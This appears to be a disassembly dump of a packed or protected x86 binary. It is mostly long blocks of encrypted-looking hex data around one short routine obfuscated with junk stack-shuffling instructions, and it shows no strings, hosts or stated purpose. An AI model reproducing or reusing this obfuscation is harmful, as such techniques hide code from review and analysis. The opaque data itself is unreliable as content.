		dd 0C24AF162h, 10339D61h, 9AA17240h, 1179322Bh,	0DB3EB4FBh
		dd 0B99CB578h, 0AF811361h, 0B17A24CDh, 0FE7BE8E8h, 0C156C0C4h
		dd 0ABD1C156h, 0FC4CD1B3h, 11850A3Ch, 0A2840D03h, 2D8952CCh
		dd 8263154Bh, 490E4ACAh, 0BF002D8Fh, 0E2B950CAh, 0C57771DFh
		dd 0D2F5CFh, 339F0000h,	3D3E3C0Ch, 0F6ECCE82h, 4CD1A6D1h
		dd 1EF5960h, 491F2910h,	4CD91F39h, 26564CDBh, 0AD4CD1A6h
		dd 54455B49h, 5952CCBBh, 0CB7B68FDh, 424912D4h,	0CBB7899Bh
		dd 6766CB1h, 0CD4ACA20h, 0A19C7869h, 358E6F55h,	441C369Fh
		dd 6F54DD1Fh, 2BD9E07h,	0AC97744Eh, 2C391521h, 0B51FD39Dh
		dd 0EA8151FDh, 898E5C5Dh, 8ABh,	0D3ADA798h, 6D4309B6h
		dd 0D8AA9C9Ch, 6B4505BBh, 0D3ADA39Eh, 0FAC57880h, 93AF5C56h
		dd 0FAC4C5BBh, 92A96A58h, 8116BCB6h, 0F163EB91h, 0CB93F04Ah
		dd 49F51033h, 5C662305h, 61F660F6h, 0A29CDCF6h,	0C334CD1h
		dd 7883E3Ch, 2AAB858Fh,	0E7ED6439h, 0C1D392F1h,	29173108h
		dd 492F23B4h, 924CD1EDh, 8D6BE7D9h, 6D574DD7h, 3E3C0C33h
		dd 0C47F7E3Dh, 0D9CF7B41h, 45F7F163h, 7721E1CFh, 5833A431h
		dd 0A6A69B60h, 928412C4h, 0CC9F6780h, 46249252h, 4A08BA91h
		dd 0BF8FB370h, 0F3E173E9h, 4F212716h, 0EBCD7B42h, 14C964F5h
		dd 145F5D2h, 0F4526A27h, 0BA9665F6h, 0AC633C7h,	655BEDCCh
		dd 22B395A4h, 4002F931h, 42BC3285h, 911022Fh, 0E7C1D3B0h
		dd 0A5A99576h, 0D0311C3h, 0CD8C4E6Ch, 0C402DEADh, 0F85D53F5h
		dd 3A302023h, 2B99284h,	6B843FBh, 6E4CDA4Ch, 0F59D2374h
		dd 4B05F6FDh, 0F5CF2E0Dh, 7BE95B5Dh, 0A275F9EAh, 4B6E81ECh
		dd 0DDF66759h, 9A89E542h, 0CC2AE128h, 23B3FF14h, 0CB7D3C1Dh
		dd 0AC6D77EDh, 0ADBDBB8Dh, 0FBD0458Bh, 84110343h, 0C9833813h
		dd 5D3CC5DBh, 55C12C6Eh, 756DFA5Bh, 34686A07h, 6A8EEEE4h
		dd 0E1553468h, 0F764775Ch, 162BCC1Bh, 94A69680h, 2D0B3B03h
		dd 70DEE2B7h, 0C552C47Ah, 7575D0CDh, 1711852Ah,	73455821h
		dd 0A43C4B32h, 42F3DB42h, 46843D8h, 0FA710000h,	4CD1A282h
		dd 0D19298DCh, 0B5AAF64Ch, 70044CD1h, 934CD1B1h, 6D4B05B8h
		dd 94F4EAF7h, 0C7C30555h, 0BA4BEDDDh, 46CF4503h, 0CC8F3F4Ch
		dd 1B21FA52h, 3E98252Fh, 0FF67D286h, 0A0BDD63h,	6EBh, 936DE7D8h
		dd 0AD83C976h, 986ADCDCh, 0AB85C57Bh, 936DE3DEh, 0BA85B840h
		dd 0D3EF9C96h, 0BA84857Bh, 0D2E9AA98h, 41D67C76h, 0F1612B51h
		dd 8B53B04Ah, 3E3C0C33h, 51C60C2Eh, 0A2ACCCC6h,	0BF374CD1h
		dd 585240D5h, 1F52F130h, 0DCE803Ch, 0AD1F192Dh,	0D2A016B7h
		dd 42D5B5F8h, 0F11C2850h, 5143B34Ah, 803ECF69h,	0E87EF0CAh
		dd 7892637Fh, 0DF5754ECh, 3327963Ch, 55E7AC09h,	3A11860Fh
		dd 0C6DCCA88h, 0FD961B81h, 2C3832A4h, 0CC5BCC12h, 69B5F2D7h
		dd 93DDF652h, 0F05666A7h, 1F627066h, 0E2FB8DDFh, 683CD1F1h
		dd 8D97C9BDh, 4A019600h, 95BDD673h, 4094E439h, 0BDD2AAB8h
		dd 0BD19E38Bh
		dd 0C7845927h, 955654FCh, 1BD1A7ABh, 0FFBE9B89h, 6E11B949h
		dd 0AEFC0D3Eh, 612E9h, 0E46FF00h, 0E26A5734h, 0B3B0310h
		dd 0E4665435h, 0E42FD0Eh, 64D92134h, 809F759h, 6B281A34h
		dd 0A07F959h, 0B51B1533h, 664A3220h, 32914AF1h,	347A242Ch
		dd 9F56AFA3h, 138352CCh, 0E3655415h, 372C2505h,	1DB5BDBEh
		dd 0C4B59F75h, 0C9DBF0Ch, 0A81E1C2Eh, 5CB9A93Eh, 7954D7EEh
		dd 4B2D231Dh, 234CD1DFh, 4CD1DF55h, 1AE9D5B6h, 0BEBC2A28h
		dd 0C2E1E08h, 0A44251C6h, 6E8215D2h, 0A5BD2A3Ch, 52F15AA5h
		dd 6197F1E2h, 0F7F15F62h, 66C84C45h, 89ED9284h,	5E253EAFh
		dd 0AE08DDC4h, 4F3A283Eh, 1D4AF107h, 7A88D47Ah,	700444FBh
		dd 57C3A8DCh, 5C3C418Fh, 49000005h, 25E6DC78h, 4D3E3418h
		dd 2AE7D96Dh, 4F3C3614h, 0EFE6DC74h, 212F122Bh,	0D07E424Fh
		dd 430F31E2h, 0AB9D9C6Dh, 889AFBD5h, 4AF166F0h,	24D6A8FBh
		dd 34A3347Ah, 0A2C9AFA3h, 59124CD1h, 656FE561h,	0F1307F6Bh
		dd 0B4B62052h, 724008B7h, 4651F6EDh, 0CC08D90h,	0A71D1B2Dh
		dd 8C9243Dh, 31E1CB80h,	7B445723h, 1FDE8267h, 64EAD6C4h
		dd 0D18664F2h, 0F0543FAh, 50C5833Ah, 5311EC43h,	918331C1h
		dd 7DCBF29Fh, 2A11CA7Bh, 0BCAA1C1Eh, 9268E0DFh,	18561201h
		dd 14592721h, 50C530E9h, 75D1E9A2h, 76AD3E73h, 0D7691514h
		dd 7D7D574Dh, 88000001h, 717E329Bh, 7C6A6E54h, 347A248Ah
		dd 8E42AFA3h, 278F52CCh, 0B9631751h, 37A84ACAh,	6E46654h
		dd 0DB754650h, 31A6EC8Eh, 0D795D021h, 0C7B91D54h, 7C8B3516h
		dd 0B198BBDh, 0C8DA6F4Eh, 4CD1A2B0h, 13153D07h,	2CBA1CA1h
		dd 72DCE0BBh, 0B6858664h, 0BAE4A092h, 5E74E374h, 4CD1A21Eh
		dd 0F26371E5h, 0CDF46E65h, 0A49BE1F1h, 0F6604CD1h, 0D6FAF0DDh
		dd 0CD9D2C0h, 0B9C52CCh, 0CA486117h, 1A0C6A4Ah,	450BB675h
		dd 0B68546CFh, 4804B992h, 12665C5Eh, 7F4ACA48h,	0F7EE078h
		dd 7750C9F1h, 33h, 0B17A242Dh, 62A4079Dh, 63F462A9h, 0CCE9E26Fh
		dd 7147AF52h, 0CAC90577h, 8C3744Ah, 63201A34h, 5A0CEE5Eh
		dd 77F1DACCh, 0CA73E815h, 955050h, 33860000h, 3D3E3C0Ch
		dd 2FECCE82h, 41423810h, 4A59CE7Ah, 0C3E39C9Ah,	19E7FD56h
		dd 0D1ABEEBFh, 0D078474Ch, 327822E2h, 4F55ADA5h, 1C7A52C6h
		dd 0E0EDD08Bh, 8C69A5D0h, 0B324B2ECh, 8D6BE5D8h, 62F3CDD7h
		dd 0BDBB97A9h, 6D4BFDBCh, 0A2776DF7h, 7D01B19Fh, 8640179h
		dd 37DE5AAh, 596A0000h,	370405FBh, 4E6E1B15h, 33090AF8h
		dd 55682917h, 4ACE05FBh, 0B280D0F3h, 7F71DDE1h,	0D0A2B092h
		dd 764CFCC3h, 11677BDCh, 0DA4AF164h, 10337589h,	9AA17240h
		dd 33A2D4AEh, 3D3E3C0Ch, 7E5DCA7Eh, 0EDAE8CC2h,	0CA7C7ED2h
		dd 86784A5Ch, 0D12286FAh, 0E0F2654Ch, 4CD12298h, 0EFE1F363h
		dd 4CD1228Dh, 0E5D86913h, 766CF96Bh, 52F1B074h,	0ADBDBB1Bh
		dd 0C2D0458Bh, 54EC9CA5h, 0D24EE650h, 0BD5E1F8Ch, 2F52AEBh
		dd 0E1E20000h, 0AF8C7D73h, 0D6E6A39Dh, 0AB918270h, 0FDC0D19Fh
		dd 0A2765D53h, 0DAA8A89Bh, 774905B9h, 0D8AAA89Ah, 6E4404BBh
		dd 195F73E4h, 0E24AF165h, 0C337D81h, 0E77DC9F1h, 0D4291011h
		dd 0FFF163E5h, 9C01455Eh, 0FE103658h, 347A24E8h, 79D3E8A3h
		dd 0E3E8FA6Bh, 8E52CC11h, 64185228h, 154ACA55h,	0C3988A46h
		dd 9C05CAFDh, 9922BB44h, 0ADB72D0Bh, 0C9EA65C8h, 20CD50h
		dd 24F70000h, 0AFA3347Ah, 52CCB322h, 0B7B187EFh, 4ACA93C5h
		dd 0C729A7B4h, 50CAAE56h, 0CFBEh, 0C33E800h, 0AB8AB3Ch
		dd 0B9BFD3E2h, 424CD140h, 29EBBFD4h, 38392F25h,	2CEDCB85h
		dd 3C3D3B0Dh, 495ACB7Dh, 0C2AD2156h, 281A0C88h,	0D1D31D32h
		dd 0D825144Ch, 0E4FE67E1h, 4CD1D394h, 936DF75Fh, 1A3609C2h
		dd 8D704F0Ch, 31079DB1h, 6DE5DFBCh, 0A3E99377h,	0CFADA532h
		dd 144CD1D3h, 2F23B4A2h, 52CCB25Ah, 52F4C487h, 8270E658h
		dd 410FD882h, 0A7BB00F2h, 10029301h, 54DD34F8h,	6922B323h
		dd 0BD95AF56h, 0A59B09BBh, 0CB77D9E4h, 5DEB2A47h, 0C8838466h
		dd 0B5000001h, 997A480Ch, 0B9DAA8A4h, 9E6B4501h, 0BBD8AAA0h
		dd 637A4808h, 0ADA39E9Fh, 440AB6D3h, 0AFA39D6Eh, 5FE9D0C1h
		dd 3C56C791h, 4AF16A3Ch, 339A5CC7h, 0A1724010h,	0A2D4AE9Ah
		dd 0A3347A24h, 0CCB322AFh, 803CEF52h, 0EC7AECCEh, 0AF99A07Bh
		dd 171103B9h, 0CA935F21h, 0A33D4A4Ah, 0CAADDC41h, 0AC4450h
		dd 33720000h, 3D3E3C0Ch, 7BECCE82h, 53B5EE68h, 0B3A1C9E7h
		dd 0D130889Dh, 0B692A94Ch, 58F0CFBCh, 57E89262h, 0E66FE56Dh
		dd 0CC519FECh, 12495A52h, 0DAEA7966h, 0F95DE2F4h, 0D061FB07h
		dd 63F462ECh, 0DDFCF66Fh, 1E34A354h, 4CD7B85Eh,	32A331A5h
		dd 75DAE6A5h, 0D7B81F5Dh, 0E472E44Ch, 85465006h, 0EF9C96BAh
		dd 420E31D4h, 68B420D4h, 0E9C75DEAh, 0F224h, 6EE6DF00h
		dd 82CA7794h, 6BDBE3B0h, 84C67495h, 6EE2DDAEh, 84B94194h
		dd 0E8A997B9h, 8B887AD4h, 0EAA799B9h, 0D57B75D3h, 6B2A5240h
		dd 52B14AF1h, 4010338Ch, 0AE9AA172h, 9C7FA2D4h,	17CDAB9Dh
		dd 0DB6D4C0Dh, 2B1D1CDDh, 47352DBAh, 0A44CD1A2h, 0D1A2CEAEh
		dd 1CA1154Ch, 0A6D6ACBAh, 0C9D94E94h, 52F130E5h, 51FDC19Ah
		dd 4EEFE557h, 2A1112E8h, 9093D19Bh, 178D9037h, 0F7516829h
		dd 2368C701h, 0DDE10F61h, 0C77A7771h, 3162AF89h, 0D328C4B7h
		dd 9EB42315h, 66123DEh,	0E6A3B125h, 0DE7F71D7h,	2E0C40FDh
		dd 0CEEDAEB8h, 0BD83807Ah, 7D0AB8Dh, 0D3D57744h, 4A202616h
		dd 7D950294h, 66123FFh,	0B7849204h, 65E4DB19h, 61230F6Dh
		dd 0F462D406h, 1A2E0DFEh, 0F995968Dh, 0DBFD11CCh, 0E97EEFC9h
		dd 50421032h, 6615928h,	745143B3h, 3, 33D42A22h, 0AB684212h
		dd 0B5B6B494h, 0B071470Bh, 2BE8C28Ch, 41423818h, 1BD8D27Eh
		dd 46432525h, 19DAD076h, 94522824h, 3DDF68h, 24048900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 22272236h
		push	esi
		mov	esi, 6F7E3D83h
		or	esi, 1CE8066Bh
		add	esi, 0BFC13A96h
		or	edi, esi
		pop	esi
		or	edi, 138300F6h
		sub	edi, 399EBBC2h
		mov	eax, edi
		pop	edi
		push	46E0h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		mov	ebx, eax
		push	edx
		mov	edx, ebx
		mov	[esi+8], edx
		pop	edx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_541AD8
; ---------------------------------------------------------------------------
		db 4, 2	dup(0B8h)
		dd 620CA6Bh, 0E0FFC503h, 154F0E6h, 1D236D46h, 5A22C68Dh
		dd 51FFEE2Eh, 161F5053h, 4BC78AD8h, 5588B170h, 668CEE67h
		dd 23CDC4CAh, 8C4D681h,	640726Eh, 7CDDF437h, 43C8631Dh
		dd 4A1F5A2Ah, 1E14DAADh, 0B7F7757h, 2CF1D806h, 2BFC8E05h
		dd 12CEA28Ah, 7C2B1780h, 52D346FFh, 0F905680h, 662CA31Ah
		dd 5D112F68h, 4C873544h, 411C8104h, 2A6D4C89h, 308C87B3h
		dd 7F233446h, 18AEBBF0h, 0CC3D8D8Dh, 0B8660620h, 8D8991E2h
		dd 61B2429h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	2AC35343h, 1A1D9589h, 0E280061Bh, 6585C7D8h, 0F8061B07h
		dd 6A000066h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 62D6C351h, 9144E342h, 0F595891Eh
		dd 29061B19h, 1B0AC98Dh, 0D185C706h, 61B13h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0BEC8C357h, 190D7E99h, 25D9B5FFh,	9501061Bh
		dd 61B1261h, 2F8595FFh,	858B061Bh, 61B1251h, 6AF6B70Fh
		dd 595FF00h, 8B061B22h,	1A2AEBC0h, 9A483CA7h, 0CB1B6DFh
		dd 0B2652B61h, 0B8FC4550h, 9D307FC7h, 5924EF4Eh, 6DCDFC0h
		dd 9A99E8Ch, 0E6A0B61Ch, 75461E11h, 9E885h, 0B4B50000h
		dd 75ACBFA4h, 66BFDA23h, 0E95BF28Bh, 12h, 712CBCAAh, 0A9A173C1h
		dd 7A09DDAh, 3AEB0300h,	0C38112F5h, 727Bh, 0BFD68B66h
		dd 3575F13Ah, 0ED55F781h, 0E9603575h, 11h, 27687332h, 0EE5FE02Dh
		dd 3751D61Bh, 0E5533126h, 19BD89DBh, 61061B11h,	958B038Bh
		dd 61B22B5h, 0E3BBE881h, 9D017FDFh, 61B31F5h, 3BB1F081h
		dd 0B966489Ah, 0F081F233h, 2DBB339Fh, 0ED8D8960h, 56061B19h
		dd 5EC2BF0Fh, 0E8038961h, 8, 0BEB7524Ch, 4E12DAEh, 68A0Fh
		dd 958B0000h, 61B1EBDh,	3EB835Eh, 6C6DB966h, 95BD314Bh
		dd 81061B02h, 1EFh, 99850F00h, 8BFFFFFFh, 1B03C995h, 0ABE906h
		dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h
		dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h,	9B552075h
		dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh
		dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h,	5C009FA5h
		dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h
		dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh,	0F996BFCFh
		dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh,	0E0CE9DBCh
		dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h
		dd 0A601E800h, 323D94E7h, 669CBC83h, 1299E933h,	0C4680000h
		dd 0E90620CFh, 0FFFAB034h, 20D07868h, 0B02AE906h, 7968FFFAh
		dd 0E90620D1h, 0FFFAB020h, 20D2A968h, 0B016E906h, 3468FFFAh
		dd 0E90620D3h, 0FFFAB00Ch, 20D3CE68h, 0B002E906h, 0A668FFFAh
		dd 0E90620D4h, 0FFFAAFF8h, 20D54468h, 0AFEEE906h, 2C68FFFAh
		dd 0E90620D6h, 0FFFAAFE4h, 20D7D068h, 0AFDAE906h, 0D068FFFAh
		dd 0E90620D8h, 0FFFAAFD0h, 20DA2F68h, 0AFC6E906h, 8268FFFAh
		dd 0E90620DBh, 0FFFAAFBCh, 20DD0C68h, 0AFB2E906h, 1768FFFAh
		dd 0E90620DEh, 0FFFAAFA8h, 9235D09Ch, 0EF92313Dh, 9C3BE218h
		dd 0E6892447h, 9E41E811h, 0D1A829BBh, 8870872Ah, 0C0AD42E5h
		dd 8E697E21h, 0FB9A4CEBh, 0E8B36574h, 8F33FC38h, 0E66DE86Dh
		dd 3EC87D17h, 8657DC6Ah, 0D93EC87Dh, 3936CB6Bh,	0FDFAF996h
		dd 0FE43B75Ah, 1CB48CBh, 1AC4F559h, 0AD3013ACh,	6BC72CA1h
		dd 0A44FE88Fh, 0A4932CC7h, 0DFC9F77Ah, 88C02A45h, 0CEFC6991h
		dd 38h,	22A73E34h, 4099169Bh, 1F3EC87Dh, 33D719A9h, 2F126DBFh
		dd 6D47CC8Fh, 0EEC4F484h, 0B768314Ah, 1B9D93E7h, 0D13CC182h
		dd 3BE9C72Ch, 5D92CA34h, 0DDC4FC69h, 3E000000h,	0B239DC1Bh
		dd 0DD1913DDh, 27A9A13Eh, 31CBC8Eh, 0C56209F0h,	19E412Eh
		dd 0BF6205F2h, 6178F77Ah, 3EC87Dh, 69F4633h, 1D22C644h
		dd 3EC879D7h, 5E9F24A1h, 31C13781h, 11DEF393h, 3B34CB6Eh
		dd 81CD0C93h, 26A4C137h, 81D9209Fh, 52B8C137h, 5ADF37D0h
		dd 0D617EC6Fh, 0CAC9E37h, 0AF50CA49h, 5DEB3B0Ah, 81F148BAh
		dd 8851CE76h, 0E7C72CB3h, 446DF61h, 0CE80FF86h,	613D1215h
		dd 40C2618Ch, 640BE6BDh, 0C5B380C5h, 90697E22h,	331015E9h
		dd 0CD6243C2h, 0FFC0Dh,	7A155700h, 57F600D7h, 0B05723B8h
		dd 5EF9FA11h, 0A64D24BBh, 953C5E03h, 0BD12B55Ch, 9A7110B3h
		dd 0C61DBC5Bh, 6F6306A9h, 0B28E4FD4h, 8E138E8h,	37DE1B3Ah
		dd 93109598h, 3EC87D4Ah, 0EAFF9F25h, 7FC76A0Dh,	9B22A73Eh
		dd 0F4AE1E14h, 0AA43C1C4h, 2CB24499h, 7CD3B1C7h, 6980DA12h
		dd 8F7CFCh, 6D060000h, 15B95896h, 7B14B7C0h, 3DDA8178h
		dd 0C879FC06h, 0A649263Eh, 6003EC03h, 0BF0A4FC7h, 0AF45B73Ch
		dd 70D63B0Ah, 0C1085DD1h, 16ECB53Ah, 0D5733D12h, 0D178814Eh
		dd 17542B2Eh, 56E1F877h, 0A80CD0Fh, 0E613E888h,	30B46F3Fh
		dd 7D1243C2h, 0F485Dh, 36D1A300h, 93323C93h, 6C13DFF4h
		dd 9A3536CDh, 7219E0F7h, 0D9F8AACFh, 8156F9A0h,	9E35D477h
		dd 7A9130CFh, 8337DA7Dh, 0AD7A8300h, 541538E8h,	37DE1B6Eh
		dd 3A344398h, 78179940h, 6BE86DB2h, 3EC87D92h, 0DD4265DDh
		dd 0DE5E20D8h, 4433C868h, 0EF04A1h, 4D25BA5Dh, 0B93C09A6h
		dd 0C8A5A33Ah, 0E88B653Eh, 97FFB4Fh, 0C4679065h, 0BE3FC441h
		dd 0D13EC8A5h, 0B1749333h, 697FFD2Bh, 390C5B5Ch, 72D33F93h
		dd 5327C749h, 0AE9B620h, 85DCF6Fh, 43B53AC1h, 0D4C4F512h
		dd 3829AF36h, 40B4C09Ah, 7A11C66Ah, 0CEA05660h,	0C24980C5h
		dd 0AE90FF3Dh, 0C0BA89C6h, 0F3B0830Bh, 8709EB6Bh, 80BC5CEEh
		dd 0BD86D0Ah, 58F7F6E8h, 700D8BBFh, 798F4ED5h, 64E2C288h
		dd 89D042E6h, 6B38BD40h, 9A63E88Fh, 0F5C28879h,	0E76CEF8Fh
		dd 38A9E9A8h, 0C9961DABh, 976C0BAEh, 30E1B558h,	7A462488h
		dd 0E4725B5h, 0D2A20000h, 33439837h, 14DEF594h,	3635CA6Dh
		dd 0AE7FC9Bh, 0FBA1C463h, 55F49BD6h, 30CF727Eh,	5CFB9ADBh
		dd 22C56887h, 4F8E15B0h, 2238E8ACh, 0DF6D7949h,	9DEA0D86h
		dd 0A035D9F5h, 7B9B34D7h, 0E360E3E6h, 0C4F55F25h, 7A94C236h
		dd 9CA41A54h, 0D811971Eh, 373FD008h, 26B73CBFh,	39C72D1Ch
		dd 1A0C2BCBh, 7F06C3h, 3D10171Ah, 49CC4FB5h, 22533CAh
		dd 18B84ECDh, 25B144FFh, 826FCD02h, 0C9B142DBh,	0B3698522h
		dd 9A846E9Ch, 9F76DD7h,	5AD7F64Fh, 22904D5h, 49ED5BCDh
		dd 4890h, 0F367F500h, 0A5443285h, 3DB24208h, 0AD32B95Ah
		dd 0CD02E32Ch, 1B21C543h, 9B22A73Eh, 0F4B2F414h, 56DD6BC4h
		dd 2ACD6C89h, 2CC9D625h, 9616A2C7h, 382DFEE5h, 3F38CD71h
		dd 2D4A199Ch, 0B047E68Ah, 518926C5h, 0D61h, 5C966DC7h
		dd 5ADF11B5h, 0BA67EC6Fh, 0BDC4EB33h, 0EFC447h,	0A877BA5Dh
		dd 74892DD0h, 0D73FD87Bh, 3FC44782h, 3D340075h,	26FD8006h
		dd 0EC03A649h, 4FC76003h, 0B73CBF0Ah, 374B17A9h, 0AD4C1CAAh
		dd 9B5DA64Ch, 0D17C812h, 82720000h, 0C3B348E7h,	846E8524h
		dd 0C6A53ADDh, 7A778C2Bh, 8B1134D3h, 0E5842B46h, 0A03FE20Eh
		dd 0EC8B2A4Bh, 9235D817h, 0DF1EA520h, 0B238E8AFh, 966D09B9h
		dd 0D12B659h, 3EC87DC8h, 73F0D469h, 3EC87D6Ah, 7A017F05h
		dd 0EB3227F5h, 0CB52B8C4h, 0DD7C7946h, 0A747EE04h, 0A2742552h
		dd 9148C6E0h, 469D3CBEh, 30FF8629h, 872E4B49h, 3ADE5CEEh
		dd 19B035E1h, 0EEF30D92h, 865D3D2Ah, 2A26CA65h,	8F37CC9Ch
		dd 7C1143C1h, 0C8C5Eh, 6A05E700h, 0A74630C7h, 6007F308h
		dd 0AE492AC1h, 56FDF40Bh, 0C50C8EB3h, 8D6205ACh, 0CA21C063h
		dd 966D0CABh, 9F13B659h, 0AE5E9F24h, 383138E8h,	39DC1B8Ah
		dd 1E18579Ch, 7A1D5B4Dh, 6DEB6DDDh, 471C91D0h, 37E18528h
		dd 0B596CE38h, 28C00284h, 42000007h, 9B22A73Eh,	0EB327314h
		dd 0DD60E6C4h, 0A346E906h, 7B72234Ch, 568E918h,	8604ABC7h
		dd 9C1EC5ADh, 40BF4203h, 0C71743B9h, 89CE72D8h,	0C7174374h
		dd 0B23990D5h, 2A47932Dh, 3206843Dh, 43C12183h,	0F2DA008Dh
		dd 4D00000Bh, 0EE5841Fh, 499E41E0h, 10E78A31h, 52A948E3h
		dd 7CE18027h, 0E78E6B66h, 22C5B348h, 0EE8D687Fh, 18BBB44Bh
		dd 41BE4579h, 38E8AEB8h, 1B2C16D7h, 0DDB239DCh,	1CD77013h
		dd 3416AF56h, 0FAF912B6h, 53F203FDh, 7D2938D5h,	9439BFF2h
		dd 4CF904ECh, 0A91FD97Dh, 0AF028584h, 683h, 6BE86D13h
		dd 3EC87D92h, 76330EDDh, 0A2224A6Ch, 3ABF8424h,	463EC81Bh
		dd 78828079h, 7DAF4FD1h, 0D75AE1E8h, 0D2715251h, 0FF9F2413h
		dd 0EB2FD53Ah, 3BC248C4h, 0CABA32B6h, 5F42A32Ah, 0AA4D2ABFh
		dd 6407F007h, 78F77ACBh, 0C7179861h, 0A4433300h, 82214D26h
		dd 4FC165E5h, 0EE8D680Ah, 0E96CE96Ch, 1798936Ah, 0B858EEC7h
		dd 2A9C5573h, 7040C63Dh, 43C1FAE7h, 1A8E4CE1h, 7500000Bh
		dd 0A63DDC77h, 718629C8h, 0A83FE289h, 7A9130CBh, 1439D87Fh
		dd 8F36438Eh, 3ADD1BF0h, 96354097h, 7013DCF3h, 0F9761DD1h
		dd 38E8A9E0h, 1B14AE7Fh, 579C39DCh, 89D87518h, 0F068D29Dh
		dd 660284B5h, 5C3h, 1CDD62DFh, 1A3EC875h, 0A9A13ED9h, 8C274429h
		dd 3EE46A0Eh, 827914A7h, 9051EEEFh, 0BCB48B12h,	4AC97C19h
		dd 3EC8F3B3h, 16BA38CEh, 0BD2C8C13h, 45C3C4EBh,	6306F1BEh
		dd 9D402FC4h, 0BDBE4300h, 469BC717h, 45830083h,	0D63D2AB9h
		dd 0A7C1A070h, 0E6A743C1h, 0A7CF4h, 0FA95D700h,	0D7768057h
		dd 30D7A338h, 0DE797A91h, 26CDA43Bh, 15BCDE83h,	3D9235DCh
		dd 1AF19033h, 469D3CDBh, 0EFE38629h, 0A80ECF54h, 886138E8h
		dd 39DC1BBAh, 7018579Ch, 9835D0A3h, 7DD029B2h, 19AF3EC8h
		dd 0FCF5FE97h, 3C3BB855h, 7DCE0F94h, 23A13EC8h,	0A35308A5h
		dd 6E339ECCh, 7D6D6CF3h, 86043EC8h, 0CF3938E2h,	284B599h
		dd 4FABFh, 7C794600h, 0FC40DDh,	1D206836h, 0EE34D456h
		dd 0B45B966Dh, 7D310F14h, 0D56C3EC8h, 71F471F4h, 0C87DEBF2h
		dd 6000863Eh, 0EB3286DBh, 0F2FDD2C4h, 4F34C54Ah, 0BD4BC717h
		dd 299F9B3Bh, 0FFA2CDA2h, 0C46C8B60h, 174FBE3Fh, 0B533D1C7h
		dd 5D67FE18h, 174F07D6h, 5A955AC7h, 34B739B7h, 4FAB32B1h
		dd 40C6C717h, 20169DA0h, 0B33D2A41h, 3F944115h,	0D15E43C1h
		dd 99409h, 62FDEF00h, 0AF4E28BFh, 58FFFB10h, 0B65122B9h
		dd 0EB5BC13h, 0FDD4066Bh, 55AA4DF4h, 2D9781Bh, 1EB554F3h
		dd 0D70BAE51h, 0AB26B73Ch, 703938E8h, 47DF6DD2h, 0B24BC80Eh
		dd 0CD3EC84Bh, 605FAB37h, 935C7115h, 39DC14EBh,	0D425AE9Ch
		dd 0AB3EC8E5h, 0F1029B1Dh, 91CA6306h, 0EA058AE5h, 0E51006F0h
		dd 1F2BC446h, 643BFEA1h, 0D14BEB8Ah, 285499Bh, 188BDh
		dd 0DC1B4500h, 18579C39h, 9920D275h, 0A428AD30h, 0EAEF7B79h
		dd 67EC8CCAh, 0C4F52CA5h, 35C44BB6h, 3CC72D2Ch,	363DE7DBh
		dd 0CA40BC31h, 0C996AF48h, 17B6B7ADh, 0B14ECC7Eh, 18B3C099h
		dd 262BCB7Fh, 0C72D94D3h, 0BEBA893Ch, 28C8821Bh, 0BC4073FEh
		dd 2AB65F52h, 747BD2F5h, 9DE66BF7h, 0CE0600A0h,	0FEFC6A93h
		dd 0EA74231h, 0AB21B837h, 0CA40C72Dh, 312FA848h, 96000000h
		dd 660AB1C9h, 22A73EE0h, 0AE1E149Bh, 43C1C4F4h,	130D9BAAh
		dd 24279BA9h, 88A2546h,	791EE368h, 1D07C72Ch, 0B570E852h
		dd 0C6E6FC68h, 5C000000h, 9C39DC1Bh, 0DA731A57h, 9069E66Bh
		dd 0EF3EC87Dh, 8C4DD259h, 0E33EC87Dh, 432CC165h, 3EC07A0h
		dd 13A09552h, 0E365394Fh, 0D3A7DC60h, 0F5FA7F11h, 976DB251h
		dd 0AF3EC86Dh, 9A8C6C0h, 0BD5CDE6Ch, 4ED5F449h,	0F6CB42D1h
		dd 24A71DC4h, 2A5D2A1h,	7270895Eh, 9A63E084h, 0F5C72A13h
		dd 0D174118Fh, 2A138B52h, 0E260E6C7h, 4F2AC160h, 13DD1CA3h
		dd 1A5BC72Ah, 0EC68E27Bh, 0C56C855Eh, 75187343h, 9A649E7h
		dd 7F0D1h, 8E294B00h, 3BDA14EBh, 842B479Ch, 42DD0EE5h
		dd 8A31489Fh, 716082E7h, 0A93EE188h, 768D2CCFh,	0A239D877h
		dd 5B8F32D5h, 0AAA23BB8h, 0ECBD38E8h, 37DE1B56h, 3A344398h
		dd 7A1D9B3Eh, 39DC1BB4h, 6718579Ch, 0D0EDEC89h,	0A124A6DCh
		dd 6A03A6D2h, 0F1E140E0h, 287h,	22A73E67h, 757E149Bh, 63E1C4F5h
		dd 856479CAh, 0F391C72Ch, 0A97AF25Ch, 37DCFC69h, 66000002h
		dd 0B958966Dh, 0A373D329h, 0E484AF12h, 0C8F2635Fh, 0EB68ED3Eh
		dd 3EC8F212h, 0A33CD714h, 0D9D2BA7h, 0AD7B90F3h, 0D547E7F5h
		dd 2FB23990h, 4EF29960h, 0EB118E09h, 0D56511C4h, 532C9DA4h
